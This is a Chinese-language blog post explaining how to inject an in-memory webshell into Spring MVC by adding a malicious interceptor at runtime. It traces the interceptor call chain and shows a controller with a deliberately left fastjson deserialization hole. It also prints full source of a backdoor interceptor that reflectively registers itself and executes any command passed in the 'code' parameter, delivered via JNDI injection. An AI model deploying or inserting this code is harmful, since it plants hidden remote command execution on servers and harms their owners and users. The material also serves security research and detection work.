針對Spring MVC的Interceptor記憶體馬

bitterz發表於2021-06-07

針對Spring MVC的Interceptor記憶體馬

1 基礎攔截器和呼叫流程的探索

學習、探索和實現過程很多都基於大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/

1.1 基礎攔截器

前不久實現cotroller記憶體馬能新增冰蠍程式碼後,又想到spring mvc的攔截器應該也可以用於注入記憶體馬,目前的關鍵點在於找到攔截器是如何被觸發以及如何動態新增攔截器

首先來寫個正常的攔截器TestInterceptor類,並新增xml配置


然後啟動程式,在訪問/home/index,並新增code引數彈個計算器

1.2 探索攔截器的呼叫鏈

斷點打在TestInterceptor類中,除錯看看呼叫鏈

preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

關鍵點在doDispatch方法,先通過getHandler方法獲取了mappedHandler物件

在後方呼叫mappedHandler的applyPreHandler方法

這個方法中就是依次呼叫每個interceptor例項的preHandle方法,實際上就進入了前面寫好的TestInterceptor類的preHandle方法中。

1.3 探索攔截器是如何被新增的

跟蹤mappedHandler的獲取過程,先是呼叫了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

跟進getHandler方法,這裡會遍歷this.handlerMappings,獲取HandlerMapping的例項,再呼叫getHandler方法

這裡斷點跟進getHandler函式處,會發現實際上呼叫了org.springframework.web.servlet.handler.AbstractHandlerMapping類中的getHandler方法

再跟進getHandlerExecutionChain方法,發現其中會遍歷adaptedInterceptors這陣列,並判斷獲取的interceptor例項是不是MappedInterceptor類的例項物件,而MappedInterceptor類就是對攔截器HandlerInterceptor介面的實現,所以前面定義的TestInterceptor自然會被加入chain中並返回

至此,攔截器的載入和呼叫流程就清楚了, 動態新增攔截器的話,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping類的例項物件的adaptedInterceptors陣列中新增惡意interceptor例項物件即可!

那麼關鍵就在於找到org.springframework.web.servlet.handler.AbstractHandlerMapping類的例項物件,CTRL+ALT+B找到所有AbstractHandlerMapping的子類,並在beanFactory的beanDefinitionNames中找到它的例項org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

因此可以通過context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")獲取該物件,再反射獲取其中的adaptedInterceptors屬性,並新增惡意interceptor例項物件即可完成記憶體馬的注入

2 實踐

首先用springmvc 寫了一個包含fastjson的反序列化漏洞的controller

    @RequestMapping(value = "/postjson", method = RequestMethod.GET)
    public String postJson(HttpServletRequest request){
        return "postjson";
    }

    @RequestMapping(value = "/readjson", method = RequestMethod.POST)
    public String readJson(HttpServletRequest request){
        String jsonStr = request.getParameter("jsonstr");
        System.out.println(jsonStr);  // 在控制檯輸出jsonStr

        Object obj = JSON.parseObject(jsonStr);
        System.out.println(obj); // 等同於資料操作

        return "readjson";  // 返回一個頁面給使用者
    }

訪問/postjson,並提交payload,而payload會傳送到/readjson處,被fastjson反序列化,觸發JNDI注入造成記憶體馬的注入。首先開啟LDAP和python服務,編譯惡意Interceptor類

惡意Interceptor類原始碼如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
        // 獲取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 從context中獲取AbstractHandlerMapping的例項物件
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        // 反射獲取adaptedInterceptors屬性
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        // 避免重複新增
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                System.out.println("已經新增過TestInterceptor例項了");
                return;
            }
        }
        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免進入例項建立的死迴圈
        adaptedInterceptors.add(aaa);  //  新增全域性interceptor
    }

    private TestInterceptor(String aaa){}

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        // 不干擾正常業務邏輯
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        }
        else {
            return true;
        }}}

這裡提交兩次payload是為了確認:不重複新增interceptor的程式碼生效了

可見Interceptor記憶體馬已經注入了,現在彈個計算器驗證一下

相關文章